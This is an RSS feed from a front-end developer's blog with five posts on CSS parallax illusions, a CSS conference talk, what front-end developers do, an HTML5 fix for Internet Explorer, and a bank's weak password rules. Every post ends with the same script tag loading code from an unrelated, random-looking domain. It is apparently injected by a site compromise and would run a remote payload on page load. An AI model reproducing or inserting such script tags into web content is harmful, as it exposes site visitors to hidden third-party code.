<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Maban &#187; Development</title>
	<atom:link href="http://maban.co.uk/category/development/feed" rel="self" type="application/rss+xml" />
	<link>http://maban.co.uk</link>
	<description>Anna Debenham - Front End Developer</description>
	<lastBuildDate>Tue, 20 Jul 2010 20:58:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Parallax Illusion</title>
		<link></link>
		<comments>http://maban.co.uk/507#comments</comments>
		<pubDate>Mon, 12 Apr 2010 11:38:54 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[sandbox]]></category>
		<category><![CDATA[scanimation]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=507</guid>
		<description><![CDATA[
On Saturday, inspired by Paul Annett&#8217;s Channel 4 logo, I decided to build a parallax illusion in the browser.
Here&#8217;s the end result: http://maban.co.uk/sandbox/parallax-illusion/

How it works
To build this you only need 2 images. One is the stripes (mine is a 14&#215;8 gif where 6px are transparent, and 8 are black) and the main image which is [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-509" title="Parallax Illusion image" src="http://maban.co.uk/wp-content/uploads/2010/04/IMG_1001-300x225.jpg" alt="" width="240" height="180" /></p>
<p>On Saturday, inspired by <a href="http://nicepaul.com/">Paul Annett&#8217;s</a> <a href="http://4.nicepaul.com/">Channel 4 logo</a>, I decided to build a parallax illusion in the browser.</p>
<p>Here&#8217;s the end result: <a href="http://maban.co.uk/sandbox/parallax-illusion/">http://maban.co.uk/sandbox/parallax-illusion/</a></p>
<p><span id="more-507"></span></p>
<h3>How it works</h3>
<p>To build this you only need 2 images. One is the stripes (mine is a 14&#215;8 gif where 6px are transparent, and 8 are black) and the main image which is actually 2 images in 1 layered on top of each other.</p>
<p>The main image is a bird in 2 states &#8211; 1 with its wings up, 1 down. You can have more states, but I wanted to keep this very simple.</p>
<p>The stripes are a transparent, repeating background which appear over the image.</p>
<p>The stripes of the image that are visible need to be the same width as the gap between the stripes that go on top of it. So that the wings on the down state aren&#8217;t visible while it&#8217;s on the up state, you&#8217;ll need to position the blank stripes slightly differently on the down state, in this case 6px to the right of the ones on the up state. Then simply layer the two images on top of each other and save them as one image.</p>
<h4>The HTML:</h4>
<p><code>&lt;div class="image"&gt;<br />
&lt;div class="strips"&gt;&lt;/div&gt;<br />
&lt;/div&gt;</code></p>
<h4>The CSS:</h4>
<p><code>.strips {<br />
background-image:url("strips.gif");<br />
background-repeat:repeat;<br />
background-position:center center;<br />
height:100%;<br />
width:100%;<br />
}<br />
.image {<br />
background-image:url("background.gif");<br />
position:fixed;<br />
background-repeat:repeat-x;<br />
height:100%;<br />
width:100%;<br />
}</code></p>
<p>All this does is position the stripes over the image, and make both images the full height and width of the screen since there&#8217;s no content in them. The image stays in the same place while the stripes move with the width of the window because they are centred.</p>
<h3>More parallax illusions</h3>
<p>Paul Annett sent me a couple of links to parallax illusions he&#8217;d seen that other people have made: <a href="http://demo.marcofolio.net/a_parallax_illusion_with_css/">one of a horse running</a>, and <a href="http://demo.marcofolio.net/your_own_css_parallax_illusion/">one of a 3D object</a>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/507/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>CSS Nuggets</title>
		<link></link>
		<comments>http://maban.co.uk/308#comments</comments>
		<pubDate>Mon, 26 Oct 2009 11:23:28 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[barcamp]]></category>
		<category><![CDATA[bcl7]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[slideshow]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=308</guid>
		<description><![CDATA[At Barcamp London 7, I gave a presentation on some CSS tricks I learnt while building Scrunchup.  Here it is:
CSS Nuggets
View more presentations from Anna Debenham.

I&#8217;m planning on doing a full write-up for an upcoming issue of Scrunchup.
]]></description>
			<content:encoded><![CDATA[<p>At Barcamp London 7, I gave a presentation on some CSS tricks I learnt while building Scrunchup. <span id="more-308"></span> Here it is:</p>
<div style="width:425px;text-align:left" id="__ss_2347968"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/maban/css-nuggets" title="CSS Nuggets">CSS Nuggets</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bcl7-091026061858-phpapp01&#038;stripped_title=css-nuggets" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bcl7-091026061858-phpapp01&#038;stripped_title=css-nuggets" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;">View more <a style="text-decoration:underline;" href="http://www.slideshare.net/">presentations</a> from <a style="text-decoration:underline;" href="http://www.slideshare.net/maban">Anna Debenham</a>.</div>
</div>
<p>I&#8217;m planning on doing a full write-up for an upcoming issue of Scrunchup.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/308/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>What is a Front End Developer?</title>
		<link></link>
		<comments>http://maban.co.uk/138#comments</comments>
		<pubDate>Wed, 05 Aug 2009 12:21:37 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[front end]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=138</guid>
		<description><![CDATA[Whenever I am asked what I do by someone who doesn&#8217;t work in my industry, I find it quite hard to give them a decent response.  I usually just tell them I&#8217;m a website designer, even though that&#8217;s not really accurate and I&#8217;m more confident working with code than on a design.


So what does [...]]]></description>
			<content:encoded><![CDATA[<p>Whenever I am asked what I do by someone who doesn&#8217;t work in my industry, I find it quite hard to give them a decent response.  I usually just tell them I&#8217;m a website designer, even though that&#8217;s not really accurate and I&#8217;m more confident working with code than on a design.</p>
<p><span id="more-138"></span></p>
<p style="text-align: center;"><a href="http://twitter.com/anna_debenham/status/2236421167"><img class="aligncenter size-medium wp-image-139" src="http://maban.co.uk/wp-content/uploads/2009/08/Firefox-300x155.png" alt="Twitter Status: Trying to explain to my friends what I do" width="300" height="155" /></a></p>
<p>So what does a front end developer actually do?  Let&#8217;s start with the &#8220;front end&#8221; bit.  A website can be broken down into two main bits, the front end, and the back end.</p>
<h3>The Front End</h3>
<p>The front end of a website is the visual bit that the user interacts with.  This includes the design, images, colours, buttons, forms, typography, animations and content.  It&#8217;s basically everything that you as a user of the website can see.</p>
<h3>The Back End</h3>
<p>The back end of the site is the bit that you don&#8217;t see.  It&#8217;s the code that makes e-commerce sites work, the database where your Amazon wishlist is stored, it&#8217;s all the magic that happens behind the visual part of the website that makes the website actually work.</p>
<p>Now for the &#8220;developer&#8221; bit.  To explain what a developer does, I should probably clarify what a designer does.</p>
<h3>The Designer</h3>
<p>Designers decide how a website is going to look, what the colour scheme will be, how all the headings will look, and how all the pages will work together.  They usually build a flat visual graphic of the site which has pictures of how the site will look and how each of the interactions will look.  At this stage you can&#8217;t interact with it, it&#8217;s just a picture. They then hand this file to the developer.</p>
<h3>The Developer</h3>
<p>The developer takes the file that the designer has sent them, and they look at it and work out how they are going to build the site so that it will work in a browser.  (A browser is the bit of software that you use to look at websites.  There are lots of browsers including <a href="http://en.wikipedia.org/wiki/Internet_explorer">Internet Explorer</a>, <a href="http://en.wikipedia.org/wiki/Firefox">Firefox</a>, <a href="http://en.wikipedia.org/wiki/Safari_%28web_browser%29">Safari</a>&#8230;).<br />
Developers will break the design up into components, and start to build these into a website using code.  They then test the site in lots of different browsers, and sometimes on mobile phone browsers too.  Each browser treats the code slightly differently, and the developer has to make sure that the site is accessible for lots of different users on lots of different browsers, and on different sized screens.<br />
They have to make sure the text can be resized without breaking the site, that the site is readable by search engines like Google, and people with visual disabilities using screen readers, or people with old technology.  They have to make sure the site looks as close to the design they have been given as possible.</p>
<h3>The Front End Developer</h3>
<p>So combining these two things, a front end developer works on the code that makes a website look the way it does.  They use <abbr title="Hyper Text Markup Language">HTML</abbr> to build the content, <abbr title="Cascading Style Sheets">CSS</abbr> to style the pages, and sometimes use JavaScript and PHP to make the pages more dynamic.</p>
<p>Now, this is all a bit of a generalisation.  There is a lot of crossover with roles, and my role as a front end developer may be different to someone else who also calls themselves a front end developer, and it all depends on their skills and background.  There are also many different roles within front end and back end which I will probably go into another time.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/138/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>HTML5 fix for IE</title>
		<link></link>
		<comments>http://maban.co.uk/79#comments</comments>
		<pubDate>Thu, 30 Jul 2009 17:14:05 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[IE]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=79</guid>
		<description><![CDATA[I&#8217;ve been rebuilding my site in HTML5 as a practice run for future projects to see what problems I come across.  When I tested my site in IE, I noticed all the elements that the browser didn&#8217;t recognise were not styled with the CSS.  After a little bit of searching, I came across this fix [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been rebuilding my site in HTML5 as a practice run for future projects to see what problems I come across.  When I tested my site in IE, I noticed all the elements that the browser didn&#8217;t recognise were not styled with the CSS.  After a little bit of searching, I came across <a href="http://remysharp.com/2009/01/07/html5-enabling-script/">this fix by Remy</a> that resolved the issues I was having.  I just thought I&#8217;d share it with you in case you came across the same problem when making the transition to HTML5.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/79/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Natwest Online: Password Rules</title>
		<link></link>
		<comments>http://maban.co.uk/42#comments</comments>
		<pubDate>Wed, 22 Jul 2009 12:28:28 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://maban.co.uk/index.php/2009/07/22/natwest-online-password-rules/</guid>
		<description><![CDATA[If you run an online banking service, surely the most important feature on the site should be security.  However, we all know that your data is only as secure as the password you use to protect it.  This is why I find it so shocking that Natwest online banking has such a strange policy on [...]]]></description>
			<content:encoded><![CDATA[<p>If you run an online banking service, surely the most important feature on the site should be security.  However, we all know that your data is only as secure as the password you use to protect it.  This is why I find it so shocking that Natwest online banking has such a strange policy on what your password can and can&#8217;t contain.</p>
<p><span id="more-42"></span> Here&#8217;s a screenshot I took from their site of their rules when my choice of password was rejected:</p>
<p><img src="http://maban.co.uk/wp-content/uploads/2009/07/natwest-password-rules.jpg" alt="Natwest Password Rules" height="252" width="420" /></p>
<p><strong>Rule Number One: </strong>Your password must be between 6 and 8 characters. No more, no fewer.  Surely when you&#8217;re protecting your finances from hackers you&#8217;d want the option to have a longer password.  My FTP password is around 20 characters with a mixture of capitals, lowercase, numbers and symbols. A little obsessive perhaps, but as <a href="http://www.infoworld.com/d/security-central/password-size-does-matter-531" target="_blank">this article on InfoWorld</a> states &#8220;Character-for-character, password length is more important for security than complexity&#8221;.  The longer you make your password, the harder it is to crack.</p>
<p>Natwest&#8217;s argument may be that by forcing a password under 9 characters, they are making it easier for people to remember it.  But so what?  I want the option to use my ridiculously long password because I value my security.</p>
<p><strong>Rule Number Two: </strong>Your password is not case sensitive. So I guess that means if I add a mixture of capitals and lowercase, the password field will treat them all as lowercase, making my password easier to crack.  Great.</p>
<p><strong>Rule Number Three: </strong>Your password must contain both alpha and numeric characters, as you&#8217;d expect.  It&#8217;s obviously a good idea to force people to do this on a site such as this, as this makes their password more secure.</p>
<p><strong>Rule Number Four: </strong>No symbols, spaces or special characters.  Umm, why?  C&#8217;mon Natwest, you&#8217;re trying to teach people to treat their security seriously.  How is preventing people from making their passwords secure going to help?</p>
<p><strong>Rule Numbers Five and Six:</strong> Characters or digits cannot occur more than twice in a row, or contain ascending or descending values.  Good, a gold star.</p>
<p>What annoys me most about this is that as a bank, Natwest should be educating their users about security, and encouraging them to use really secure passwords.  You&#8217;re probably familiar with the little red, amber and green progress-style bars that email clients like Hotmail and Gmail display when you start typing a password &#8211; why not have something like that?  I regret that I&#8217;m slating just Natwest for doing this when it&#8217;s probably the same across all online banking systems.  I wrote them this letter about it in February:</p>
<p>&#8220;I was just wondering if the Natwest online site is scheduled for a redevelopment.  I find it really confusing and frustrating to use, and there are big security issues like it won&#8217;t let me use a password with symbols, or over a certain number of characters.&#8221;</p>
<p>And here&#8217;s the automated response I got back:</p>
<p>&#8220;Thank you for your message received via the feedback section of the<br />
natwest.com website.  Thank you for taking the time in forwarding this information, which we have passed on to the relevant department.&#8221;</p>
<p>If you use online banking, do they do things differently, or are they all just as bad?<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/42/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>
